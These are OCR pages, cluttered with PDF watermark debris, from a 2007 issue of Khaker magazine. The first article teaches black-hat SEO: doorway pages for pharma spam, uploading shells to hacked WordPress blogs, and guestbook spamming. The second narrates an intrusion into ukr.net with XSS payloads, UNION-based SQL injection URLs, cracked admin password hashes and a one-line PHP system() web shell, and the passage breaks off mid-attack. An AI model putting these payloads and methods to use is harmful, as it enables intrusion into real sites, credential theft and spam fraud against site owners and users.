книги хакеры / журнал хакер / 108_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
>> взломto BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Magic SEO Toolz для поиска и взлома блогов |
|
|
|
|
||
|
1)ищутся низкочастотные, низкоконкурентные запросы |
|
|
|
|
||
|
|
buy cheap viagra |
|
|
|||
|
к поисковикам (далее НЧ), называемые также кеями или |
|
order viagra |
|
|
||
|
кейвордами; |
|
viagra cost |
|
|
||
|
2)на основе этих НЧ генерируются HTML-странички, связан- |
|
discount viagra |
|
|
||
|
ные между собой в некое подобие сайта (чем больше кеев, тем |
|
generic viagra |
|
|
||
|
больше страничек и тем лучше для нас); |
|
viagra sales |
links |
|||
|
3)на главную страничку дорвея вставляется зашифрованный |
|
viagra for women |
http://frenzy.org.ru/ |
|||
|
редирект (обычно iframe, Java, AJAX) на твой аккаунт в SEO- |
|
viagra vs |
blog.php — дорвеинг |
|||
|
партнерке; |
|
using viagra |
от А до Я. |
|||
|
4)после того как дорвей будет полностью готов, его необхо- |
|
get viagra |
|
|
||
|
димо проспамить с помощью специальных утилит для спама, |
|
viagra ad |
http://palutemu.com |
|||
|
которые оставят сообщения со ссылками на дор везде, где |
|
viagra use |
— палю тему :). |
|||
|
только можно (в форумах, гостевых и т.д.); |
|
viagra ads |
|
|
||
|
5)затем сиди и жди в статистике твоей партнерки первый на- |
|
viagra sex |
http://chingiz.org |
|||
|
бежавший траф, переходы и покупки :). И, конечно же, получай |
|
|
— блог Chingiz’а. |
|||
|
|
|
|||||
|
за это спонсорское бабло. |
|
Вот это и есть те самые НЧ-кеи. Их можно смело юзать при |
|
|
||
|
Надеюсь, суть ты уяснил, но это лишь теория. На практике все |
|
генерации дорвея. Ах да, для нашего дорвея, конечно же, |
http://gofuckbiz.com |
|||
|
сложнее, и далеко не каждый успешно осядет в теме. Но обо |
|
нужен аккаунт какой-либо партнерки :). Я могу посоветовать |
— один из лучших |
|||
|
всем по порядку... |
|
тебе http://umaxlogin.com (PPC) и http://rx-partners.biz (про- |
SEO-форумов. |
|||
|
|
|
|
|
дажи фармы). Для регистрации на ресурсах нужны инвайты, |
|
|
|
|
Делаем дор |
|
поспрашивай их у знакомых или на форуме сеошников |
http://seo-library. |
||
|
|
|
|||||
|
|
|
|||||
|
Как же создать дор? Вручную? Малоэффективно. Значит, |
|
— http://umaxforum.com. |
com — блог «не- |
|||
|
программно — доргеном. |
|
Вернемся к нашему сгенеренному дору... После успешного |
замутненного» |
|||
|
Есть доргены локальные (они создают дор на жестком диске, |
|
создания этот дор нужно куда-то залить. Конечно, можно |
оптимизатора. |
|||
|
а заливать его на сервер придется ручками), а есть — сер- |
|
залить его на бесплатные хостинги или сделать свой сайт на |
|
|
||
|
верные (и создают, и заливают одновременно). Конкретная |
|
платном хостинге, но все это как-то не по-кулхацкерски :). |
http://umaxforum. |
|||
|
программа не так важна. Она, как ни странно, почти ни на |
|
Мы будем ломать пиаристые домены (PR — рейтинг сайта по |
com — форум |
|||
|
что не влияет. Здесь главное — выбрать подходящую тему и |
|
Гуглу), а еще лучше пиаристые блоги, которые этот самый Гугл |
umax’а. |
|||
|
правильно проспамить ресурс. Но это не значит, что не стоит |
|
просто обожает и индексирует моментально (так называемая |
|
|
||
|
уделять внимание доргену и разбираться в его функциональ- |
|
«черная оптимизация»). В качестве примера возьмем всеми |
www.armadaboard. |
|||
|
ности. Из бесплатных доргенов я могу тебе посоветовать |
|
любимый WordPress. Чтобы не напрягаться со взломом, мо- |
com — еще один |
|||
|
Doorway Page Wizard, из платных одной из самых рульных |
|
жешь перерыть подшивку «Хакера» за этот год либо постучать |
форум по SEO. |
|||
|
является прога от LeZZvie — red.Button (стоит 100 wmz, |
|
ко мне в аську за паком сплоитов для этого движка. Заходим |
|
|
||
|
купить ее можно на http://lezzvie.ru/rb). Первая прога может |
|
в Гугл, вводим в окне запроса что-то типа «site:*.com powered |
http://reanimator. |
|||
|
потребовать для своей работы кейворды (поскольку сервис, |
|
by wordpress». Конечно, можно искать не только в зоне .com. |
blogseo.ru — SEO |
|||
|
из которого прога сама вытаскивает кеи, часто висит), а во |
|
Скажу по секрету: наибольший траст у Гугла вызывают зоны |
Tools. |
|||
|
второй уже встроен нормально работающий парсер кеев :). |
|
.edu, .gov, .mil. Далее жамкаем «Поиск» :). Теперь необхо- |
|
|
||
|
Поэтому немного расскажу тебе о том, как же добывать эти |
|
димо определить PR найденных ссылок. Для этого идем на |
http://zaharov- |
|||
|
самые кейворды. |
|
любимый мной сервис http://n0body.com/scripts/adv/pr.php и |
ax.livejournal.com |
|||
|
Для поиска кейвордов существует множество специализи- |
|
заливаем шеллы на наиболее пиаристые из них :). |
— заметки дорвей- |
|||
|
рованных сервисов, мы же выберем один из них — http:// |
|
Далее нужно все это дело проспамить. Схема спама очень |
щика. |
|||
|
megaoverture.com/getkeywords. Заходим, вводим в окошко |
|
простая: берется гостевая книга (то есть любая страница в |
|
|
||
|
любой кейворд (например, из фармы всеми любимую виагру), |
|
интернете с возможностью ее изменения) и в ней ставится |
http://adne.info — за- |
|||
|
капчу (для тех, кто в танке, — картинку с циферками и буков- |
|
ссылка на дор. Через энное количество времени Гугл находит |
метки о SEO. |
|||
|
ками для защиты от автоматических запросов) и давим Get! |
|
эту ссылку, и по достижении определенного порога (количе- |
|
|
||
|
Сервис выдаст тебе кучу НЧ, например: |
|
ства и качества ссылок) дор индексируется и появляется в |
http://klikforum.com |
|||
|
|
|
|
|
выдаче. Расписывать тут, как спамить, я не буду :). Могу лишь |
— и еще один SEO- |
|
|
|
viagra |
|
посоветовать для этого всем известный приватно-платный |
форум. |
||
|
|
what is viagra |
|
Xrumer с авторегой и обходом капчи. |
|
|
|
|
|
|
|
|
|
|
|
xàêåð 12 /108/ 07 |
069 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
Блин, я купил себе поесть, и денег больше не осталось.
Петров, бедняга, работа админом делает тебя голодным? Ну на тебе немного кэша. А вообще, подтягивайся, будем вместе нагоднять траф с поисковиков.
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Сделай сам!
Атеперьмывместестобойсделаемсвойпервыйдор.Дляпримеравозьмем ужеупоминавшуюсявышевиагруинайденныедлянеекеи.Далееидемв DoorwayPageWizard(DPW),чтобысгенеритьдор(руководствкпрограмме винетеоченьмного,поэтомуописыватьработупрогиянестану).ТутDPW
запроситссылку,покоторойбудетпроходитьредирект;еетысможешьвзятьв партнерке(обычновразделеLinks).Послегенерациидоразаливаемполученноенавзломанныйпиаристыйшеллидумаем,какспамить.Дляэтогоищем гостевыекниги,форумыилюбыескриптывинете,гдеможнооставлятьсвои комментарии,дляэтогоможнозаюзатьлибоAgressParser,либопарсерГугла (например,http://yourguest.com.ru/test.php).Мывозьмемдляпримеравторой. Итак,вводимвверхнееполеguestaddинажимаем«Искать»,онвыведет списокгостевух.Причем,еслиPRгостевойкнигименьшечетырех,можешь неприниматьтакойсайтвовнимание(приручномспаме).Такиегесты нужнытем,ктоспамиттысячигестсразу.Вообще,спамитьвручную,конечно же,неэффективно.ВышеятебеужесоветовалХрумер.Такжетыможешь
Aggress Parser
поискатьнаSEO-форумахлюбойхалявныйавтосабмиттер.Например,есть программаStonediverMultiSubmitter(www.ougo.com/multisubmit/tests,с
прилагающимсямануаломпопрогеотодногоизизвестнейшихсеошников
—GreenWood’а:http://bloggreenwood.com/comments/759_0_1_0_C/).Ей тожеможноспамить,нопрогаоченьтормознаяиглючная.ЕщемогупорекомендоватьSmartPoster.Онплатный,ноничтонемешаеттебепоискатькряк. Как видишь, в дорвеинге без приватного софта не обойтись. Надеюсь, что суть ты понял и купишь себе нужные проги (поверь, это того стоит :)).
Злоключение
Перечитай еще раз внимательно все, что я тут понаписал, и еще внимательнее — врезку с интервью и начинай действовать прямо сейчас. Ведь как Новый год встретишь, так его и проведешь :). Да, и я надеюсь, что тебе хватит вечнозеленых президентов, для того чтобы отблагодарить меня ящиком-другим пива сразу после зимних праздников. С Новым годом, новоиспеченный оптимизитор! z
Обзорпартнерок, безкоторых необойтись
ПартнерскиепрограммыPPC:
www.umaxlogin.com—известнейшаяPPC-партнерка,работающаяс русскимивеб-местерами.75%отстоимостибида.
klikvip.com—PPCдлябуржуйскоготрафа,ежедневныевыплаты. www.CompactSEO.com—высокиебиды,быстрыевыплаты. peakclick.com—ещеоднаPPC,хорошиебиды(99%). marketing.3fn.net—надежнаяPPCсеженедельнымивыплатами. www.xmlcash.com—партнеркаотMauser’a.Платяткаждуюнеделю, минималка—$5.
click-click.ru—русскаяPPC.
clickcashmoney.com—выкупаютроссийскийтраф;выплатыразвнеде- лювWebMoney;минимальнаясуммавыплат—$15. www.searchfeed.com—здесьможнокупить/продатьрекламу.Крупная буржуйскаяPPC-партнерка.
ПартнерскиепрограммыPPS(Pay-Per-Sell/Sign): adultfriendfinder.com—$0,3зарегистрациюмужчиныи$1,5за регистрациюженщиныплюс50%отстоимостикупленныхимиуслуг пожизненно.
rengodating.com — реселлер AdultFriendFinder, $2 за любую регистрацию.
stimul-media.com—русскаяPPS.
www.videoscash.com—конвертацияадалтногоилимусорноготрафа. www.adultcash.ru—конвертацияадалтноготрафа. www.joebucks.com — партнерка, торгующая «травяными» препаратами.
rx-partners.biz—ещеоднаfarmacy-партнерка(работающаясфарма- цевтикой).До50%комиссии.ЕженедельныевыплатывWebMoney, Fethard,Neteller,PayPal,WireTransfer,Stormpay,Moneybookers,E-Gold, E-Passporte.
www.rxpayouts.com—ещеоднаfarmacy-партнерка. www.affiliatepharmacynetwork.com—партнерскаяпрограммапофар-
мацевтике.Предоставляетдлясвоихпартнеровтехническуюпомощьи нарусскомязыке.
genbucks.com—партнерскаяпрограммапофармацевтике. www.pharmamedics.com—партнерскаяпрограммапофармацевтике. evapharmacy.biz—партнерскаяпрограммапофармацевтике.Комисси- онныедо45%.
www.affiliatecube.com—разносторонняяпартнерскаяпрограммапо популярнымтемамвинтернете.
shopxml.com—серьезнаяпартнеркаотMauser’aпо ювелирке,детоксам, чармсам,пирсингуимедицинскимтестам.
affiliate.comfi.com—партнеркапопродажемеждународныхтелефон-
ныхкарточек(phonecards,telephonecards,callingcards).
070 |
xàêåð 12 /108/ 07 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
>> взломto BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
info
Бид — цена за клик в PPC.
Фид — то место под твоим аккаунтом,
Приватный дорген red.Button Приватная спамилка куда переходит юзер с поисковика в PPC.
Интервью
Длятогочтобытыпонял,какподнявшиесялюдирубятсвоибабки,я представляютвоемувниманиюинтервьюсоднимизуспешныхсеош- ников—extrim.Понеслась:).
(Орфографияистилистикасохранены) Mag(с):
Приветствую:). extrim:
Привет. Mag(с):
Какнастроение? extrim:
Наплываетпотихоньку...Времясейчасхорошее:). Mag(с):
О,этохорошо:),ятутхотелнемноготебяпопытатьнатемудорвееводства,тыкак?
extrim:
Ммм...Пытай...Тольконебольно...:) Mag(с):
Ок:).Какдавнотывтеме?ИкаквообщепришелвSEO? extrim:
Втемеясравнительнонедавно...Даже,таксказать,новичоквмире SEO...Втемупришелчутьбольшеполугоданазад:подвернуласьссылка насайткакого-тосеошника...Тамбылополноеописаниепримитивных доровсфри-прогойдлягенерацииинемногосоветовначинающему дорвейщику...Решилпрочесть...
Mag(с):
Воткаквсепросто:).Скажи,легколибылоначинать,какиевстречалисьпрепятствиянапутиикакиепрогипредпочитаешьдляведения биза?
extrim:
Неповеришь...Я,какребенок,спаливиделтысячидолларовнасчету WebMoney,новсекрутообламывалось...Впервыймесяцянезаработал ницента...Но,обоги,деньгипошли...замесяцясрубил100баков...
ЭтиденьгиибылидляменяначаломкарьерывСЕО.Якупил дорген...
ууважаемогомнойLezzvie(www.lezzvie.ru),тогдаэтобылфорум-гене- ратор,ныне—red.Button...Авторнетолькопомогмненастроитьего, ноиподсказалнекоторыенюансывСЕО...Далееянакупилдоменов иначалспамить...Спамилрукаминавысокопиаристыересурсы:). Какиепроги?Ну,какяужесказал,доргенотЛеззвияплюссамописная спамилкаодногомоегохорошегодруга.Инемногофантастикиввиде высокопиаристыхдоменов...пробитьсясновыхдоменовнереально. Mag(с):
Тыдумаешь,чтонереально?Акакжевсеэтирассказыпрофарма-мага- зиныибелуюоптимизациюнафриварныххостингах?
extrim:
Нановыхдоменах...Не,нереально...какойтрастдлянихупоисковиков?Это,каклевыйчеловекподойдетктебенаулицеипопроситпоз-
вонитьмобилускамерой:).Фарма-магазины...реальнаятема...нотам опятьженуженоченьхорошийплатящийфарма-траф,япоканеготов уйтисPPCнасайнапы...Фриварныехостинги...ну,какбытаксказать...
да,дорывылезают...ноневсе...нужноуметьихискать...Япредпочитаю кушатьхлебскраснойикройввидешелловктрастовымдоменам:(.
Ахда,тыпробелуюоптимизацию...«Нет,мама,этофантастика».Фантастикавпланетого,чтонужноубитьнеменьшегода,длятогочтобырас- крутитьбелыйпроектхотькак-то...Атутчерезпарумесяцевпоявится конкурент,которыйутебятвойбелыйхлебзаберет...Явэтоневерю. Mag(с):
Интересно....Расскажи,доменыкакоготипапользуютсянаибольшим трастомуГуглаи,кактыдумаешь,каковасудьба.eduвдальнейшем? Будутлиониещепущебаниться?:)
extrim:
.eduужеотъездились...Гуглуженедоверяетимтак...Раньшенарод делалтысячибаксоввденьседух...Сейчастемаснимипрактически померла...Какоготипа?Старые-старыедоменысхорошимпр...иеще одномаленькоено(онемнетакхочетсяговорить...).
Mag(с):
Нонашиммногоуважаемымчитателямтысможешьобэтомносказать?:)
extrim:
Понимаешь,алгоритмыменяются...Нужнопростоследитьианализи- ровать...Тупоклепатьдорыиспамитьих—сэтогомногонезаработа- ешь...Тутвседомелочей:имя,возраст,страна...
Mag(с):
Ясно,подробностисвоегобизаниктонехочетпалить:).Ну,надеюсь, иэтойинфыбудетдостаточно.Скажи,алегколивообщедобывать пиаристыедомены,кудаможнолитьдоры?
extrim:
Легко...покрайнеймере,мне...Янепокупаюничего...Явседелаю сам...Домен—дор—спам.Эксплойтамиживетипроцветаетнаша страна:(.
Mag(с):
Авкакойобластитысамкрутишься?Фарма,адалт?Спалинесколько хорошихкеев.
extrim:
Начиналсадалта...Сейчаснафарме...tramadol,viagra,cialis:). Mag(с):
Спасибозаответы:).Иеще,еслинесекрет,сколькотысейчасзарабатываешьвмесяц?
extrim:
Покачто3квялыхенотов:). Mag(с):
Думаю,этобудетхорошийстимулдлянашихчитателей.Несмеюбольшетебязадерживать,огромныйреспектзаинтервью!:)
extrim:
Надеюсь,этоинтервьюпоможетпаредорвейщиков.Тольконешколь- ников-пятиклассников:).Дети,таблетки—этонеигрушки!
Mag(с):
Ятоженаэтонадеюсь:).
xàêåð 12 /108/ 07 |
071 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
Александр «lamarez» Еременко
/ uaxakep@gmail.com /
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Ukr.netпод хакерским колпаком
Взлом крупного интернет-холдинга
Какое-то время назад я прочитал пафосную статью, в которой были названы крупней-
шие интернет-холдинги Украины. В список входили такие конторы, как «Спутник-ме-
диа» (известный в народе как Bigmir), «Укрнет» (ukr.net), oboz.ua (знакомый в первую очередь благодаря своей интернет-газете «Обозреватель»), а также «РБК-Украина»
(rbc.ua, utro.ua). Все бы ничего, но в августовском номере «Хакера» была статья, посвя-
щенная взлому «Бигмира», которая не оставила меня равнодушным, вдохновив на «под-
виг». «Чем я хуже?» — подумал я и стал быстро разрабатывать план внедрения во второй по счету холдинг ukr.net.
На старт, внимание, марш!
Ущерб от взлома крупных холдинговых компаний оценивается в миллионы, а то и в десятки миллионов баксов (как это было с «Бигмиром»). Поэтому хачить подобные организации — довольно рискованное занятие, ведь зачастую такие конторы не экономят на сисадминах, кодерах и, самое главное, юристах.
Ладно,янестанугрузитьтебянотациямииперейдунепосредственнокопи- саниювзлома.Новначалескажу,что,ломаячто-либо,я(даиврядлиодиня :))всегдаобращаюсьзапомощьюкГуглу.Иэтотразнесталисключением...
Итак, я залез в мой любимый поисковик и вбил нехитрый запрос «site: ukr.net». Получив огромное количество страниц, я приступил к поиску
интересных ответов. Сперва мой взор упал на сайт globe.ukr.net, но эксперименты с его контентом ничего не дали. Единственной победой была бесполезная XSS (http://globe.ukr.net/_data_handler. aspx?callback=<h1>test</test>’_fillCountries&cnt=countries_
mainpage). Посмотрев несколько других сайтов от ukr.net, я нашел еще одну банальную XSS на paycard.ukr.net (проект специально заточен под статистику трафика неудачников-диалапщиков). URL выглядел примерно так:
http://paycard.ukr.net:8080/pls/abs/web_un.show?page_n ame=<script>alert('lol');</script>&logname=&chksum=
072 |
xàêåð 12 /108/ 07 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
E |
|
|
||||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
>> взломto BUY |
|
|
||||||||
|
|
|
|
|
|
||||||
|
w Click |
|
|
|
|
|
|
m |
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Наглядный процесс брута хэшей
Но меня не интересовали XSS, я хотел найти что-то более серьезное, вроде SQL-инъекции или инклуда. А потому я вернулся в Гугл и сделал свой запрос более навороченным: «filetype:php site:ukr.net inurl:id=», что в переводе на русский означало: «Иди туда, не знаю куда, принеси то, не знаю что». Шутка. А если серьезно, перевод был следующим: «Найти все ссылки в файлах с расширением php во всех доменах *.ukr.net, в которых встречается фраза 'id='».
Удача не заставила себя ждать. В глаза практически сразу бросился линк http://job.ukr.net/viewres/view_IDres.php?rid=450717. Посмотрев на эту страницу повнимательнее, я догадался, что тут может быть SQL-инъект. Но сразу рваться в бой я не стал, а лишь попробовал добавить к запросу «‘». К моему удивлению, сервер в ответ ничего не выдал. Это означало, что
либо скрипт беспощадно фильтровал значение переменной rid, либо вывод ошибок был отключен.
Но я не отчаивался — главное было зацепиться. Я подставил в переменную rid значение 450717+AND+1=1/* (что всегда означает логическое true) и сравнил с результатом значения 450717+AND+1=2/* (что всегда означает логическое false). Причем в первом случае ответ был идентичен оригиналу
(http://job.ukr.net/viewres/view_IDres.php?rid=450717). Это доказывало факт наличия инъекции.
Сразу же после моего очередного открытия я приступил к подбору числа колонок. Ситуацию омрачал тот факт, что вывод ошибок был отключен. Таким образом, пришлось все делать вручную, а не с помощью скриптов.
Через несколько минут я получил то, что хотел, — колонок оказалось значительное количество, аж 37 штук. Конечный URL выглядел так:
http://job.ukr.net/viewres/view_IDres.php?rid=- 1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37/*
К счастью, вывод данных присутствовал, и я мог получить все значения таблиц. Первое, что я попробовал сделать, — это вывести поля с mysql.user, но обломался — доступа не было.
Подставив на место 19 й колонки конструкцию «concat_ws(char(59),vers ion(),user())», я узнал, что функция version() возвратила значение 5.0.24a (версия MySQL), а функция user() вернула jobuser@host15 (имя пользовате-
ля MySQL).
Любимый MySQL5
Так как СУБД была из пятой ветки, я мог вывести информацию из таблички INFORMATION_SCHEMA, а это значило, что мне не придется подбирать название таблиц/колонок. А это уже очень круто!
Итак, уже через 5 минут у меня был огромный список таблиц (состоящий из 225 штук). Быстро просмотрев его, я обратил внимание только на три: members, wp2_users, wp_users. Но для уверенности, что в таблицах содержатся конфиденциальные данные юзеров, я инжектировал следующий запрос:
Главная страница пораженного портала
SELECT table_name FROM information_schema.columns WHERE information_schema.columns.column_name LIKE '%pass%';
В ответ на этот финт мне вывелись все те же таблицы (их полный список ты можешь найти на нашем DVD), что не могло не радовать. Исходя из названий некоторых табличек (wp2_users, wp_users), можно было догадаться, что это WordPress (далее WP).
Чуть позже я узнал названия колонок обоих таблиц. Получив данные из wp2_users и wp_users, я обратил внимание на даты регистраций (в wp2_users — шесть юзеров, wp_users — восемь) и понял, что wp2_users
содержала более новые регистрации, в связи с чем хэши из нее и полетели в любимый PasswordsPro.
Спустя 2-3 минуты после старта брута я расшифровал ровно половину хэшей:
login:md5(pass):pass
dron:698d51a19d8a121ce581499d7b701668:111
prach:61731aee5b7b352ccd9b75cdb5d0d081:prach
cover:7694f4a66316e53c8cdd9d9954bd611d:q
Вот такие смешные пароли ставят админы на таких огромных сайтах, как ukr.net.
Сам движок WP висел на http://job.ukr.net/news. Получив реальные пароли, я пошел в атаку. Панель администрирования располагалась по адресу http://job.ukr.net/news/wp-login.php, куда я и направил свой браузер.
На полпути к успеху
Так я стал админом! Теперь я мог создавать, редактировать и удалять новости, но мне этого было мало. Как известно, в WP без труда можно получить шелл с помощью редактора шаблонов, переписав PHP-файл, входящий в состав шаблона. Это я и сделал. Как? Сейчас объясню.
Сначала я вписал в index_.php (так назывался имеющийся в движке PHPфайл) стандартный однострочный шелл типа:
<?if(isset($_GET['cmd']){system($_GET['cmd']);}?>,
Затем зашел по урлу http://job.ukr.net/news/wp-content/themes/ simpla1/index_.php?cmd=id, но, к своему сожалению, не получил никакого результата :(.
Но я не отчаялся, а решил залить полноценный многофункциональный шелл, работающий через opendir(). На удивление, получилось, и передо мной предстал список файлов, данные о системе и... предательский safe_mod :(. Из-за него мои права были сильно урезаны, и потому я не
получил никаких привилегий в системе. Мне даже не удавалось прочитать /etc/passwd, что очень огорчало.
Не падая духом, я начал искать конфиги — это, несмотря на safe_mod, я мог делать. Прочитав /var/www/job/config.php, я увидел логин/пароль от БД:
xàêåð 12 /108/ 07 |
073 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
